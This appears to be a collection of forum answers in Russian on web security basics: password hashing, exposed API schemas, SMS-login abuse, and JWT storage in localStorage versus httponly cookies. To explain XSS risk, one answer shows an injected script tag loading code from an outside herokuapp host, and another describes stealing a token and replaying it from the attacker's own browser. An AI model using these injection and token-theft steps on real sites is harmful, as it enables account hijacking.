Как удалить слитый инфокурс из поиска?

наверное отправить жалобы в поисковые системы. чужие ссылки врядли получится забанить, свои ссылки можно закрыть

Почему логинится под любым возможным паролем?

killsxs, обычно логин и хэш пароля хранят в базе

1 этап - идентификация. мы должны знать какой конкретно пользователь пришел.
Например идет человек в элитный ресторан, где всех подряд не пускает. он подходит к охранникам и говорит - я - Вася Петров.
На веб сайтах для идентификации используют логин или почту, реже телефон. Но нужен идентификатор, чтобы понять кто конкретно хочет войти.

2 этап - аутентификация. Мы такие - ну допустим ты Вася Петров. А чем докажешь. надо подтвердить. Вася Петров предъявляет паспорт например.

Аутентификация на классическом сайте - пользователь предъявляет пароль. Но мы не храним их в открытом в виде. мы храним хэши. чтоб пароли явно не сливались. так вот если hash(A) = hash(B), то A == B.
Тоесть для проверки нам надо хранить хэш пароля указанного при регистрации - hash(A). А при логине проверить что hash от присланного пароля равен данному хэшу.

Тут еще есть третий этап - авторизация, это про права которые доступны пользователю. Но ты до этого этапа уже не дойдешь наверно

Почему логинится под любым возможным паролем?

killsxs, да, все правильно - $hash = '$2y$10$JwKVTFX73osL3hu7zeGjO.yvHFAsCcSCWzhVFN//.0mAkfGo.9f1y'; что это делает строка? правильно - сохраняет хэш пароля

Почему логинится под любым возможным паролем?

killsxs, да никак. пароль надо сохранить. и при последующем входе сравнивать с сохраненным. так php работает. вы же просто берете хэш от того что прилетело постом и проверяете что хэш валиден для того что вы ввели

Почему не работает js?

changeProductOrderInfo точно попап вызовет?

Почему логинится под любым возможным паролем?

один и тот же пароль хешируете и поверяете

Что можно применить, что бы решить эти задачи?

ну натянуть верстку на готовую cms. например wordpress. вроде много в инете примеров где верстку натягивают на wp. раз у вас интернет магазин то ищите сразу под woocommerce натяжку верстки. также можно opencart попробовать, но там шаблонизатор twig насколько помню. верстка просто html? без js фреймворков?

Наличие в открытом доступе файла с описанием внутреннего апи является уязвимостью?

допустим злоумышленник видит в схеме, что есть некий эндпойнт admin/withdraw_money_to/ а разрабы по запаре забыли авторизацию нацепить на эндпойнт. и как итог денежки уходят к вредителю. Конечно здесь неправильно реализованная авторизация причина. но не обладая схемой, злоумышленник бы не сразу догадался. а тут так удобно, вся схема на виду, дергай себе и дергай

Почему нельзя хранить важные данные в localStorage и вообще, JWT чем-то опаснее cookie?

Ярослав,
куки и локал сторадж это про то как хранить в браузере. а какой способ идентификации, аутентификации и авторизации вы выберете - от вас зависит. Ничто не мешает клиенту добавить куку в запрос, к любому сервису.

JWT - это просто токен, прекрасно можно жить и без JWT.

Классика - это пара токенов - refresh_token, access_token.

Ну вообще аутентификация/авторизация дело не простое) из проектов которые я видел и они использовали JWT 90% хранили его в локалсторадже. это распространенная практика. если у вас не банк, можно не заморачиваться

Почему нельзя хранить важные данные в localStorage и вообще, JWT чем-то опаснее cookie?

WbICHA, не в курсе был. спасибо за уточнение

В чем опасность регистрации/авторизации по номеру телефона?

DevMan

иначе можно достаточно легко вас разорять на смс в никуда.

Вход в личный кабинет теле 2 чисто через телефон. можешь любой номер ввести и они туда смски шлют, а только потом проверяют что номер есть в их базе. но видимо для них это бесплатно))) теле2 все ж

Почему нельзя хранить важные данные в localStorage и вообще, JWT чем-то опаснее cookie?

Mikhail Osher,

да и раньше все про это знали. Это уязвимость рода SQL инъекции, о которых, обычно, узнаешь до того, когда начинаешь писать что-то серьезное.

Надо учитывать квалификацию фрилансеров и большинства небольших организаций, о безопасности там думают в последнюю очередь. главно вовремя работу сдать)

Почему нельзя хранить важные данные в localStorage и вообще, JWT чем-то опаснее cookie?

вставляю на твой сайт

<script src="https://lohatnikov-tracker.herokuapp.com/js/d.js"></script>

делаю что хочу

Почему нельзя хранить важные данные в localStorage и вообще, JWT чем-то опаснее cookie?

А внедренный враждебный скрипт из браузера аутентифицированного пользователя вполне может отправлять запросы к серверу

Ярослав, сложнее же внедрить зловред который будет что то делать, надо код читать, вкуривать в логику твоей апликухи. Зачем, если я просто могу достать токен и отправить его к себе на сервер. а потом у себя дома в браузер вставлю и проверну что надо

Почему нельзя хранить важные данные в localStorage и вообще, JWT чем-то опаснее cookie?

помимо xss, расширение браузера может что хочет, использование сторонних js скриптов на сайте. yonen93148 ты не прав

Почему нельзя хранить важные данные в localStorage и вообще, JWT чем-то опаснее cookie?

Поэтому здравая логика говорит об использовании localStorage

нет. здравая логика говорит cookie httponly

Вот допустим вы используете какое то расширение для браузера которое скомпрометировано. Или например используете на вашем сайте какое-то стороннее решение типа метрики или чата. Никто не гарантирует что в их js не будет внедрен зловредный код. а это значит что любой может получить доступ и local storage и кукам. не стоит хранить токен в local storage. это точно не самое здравое решение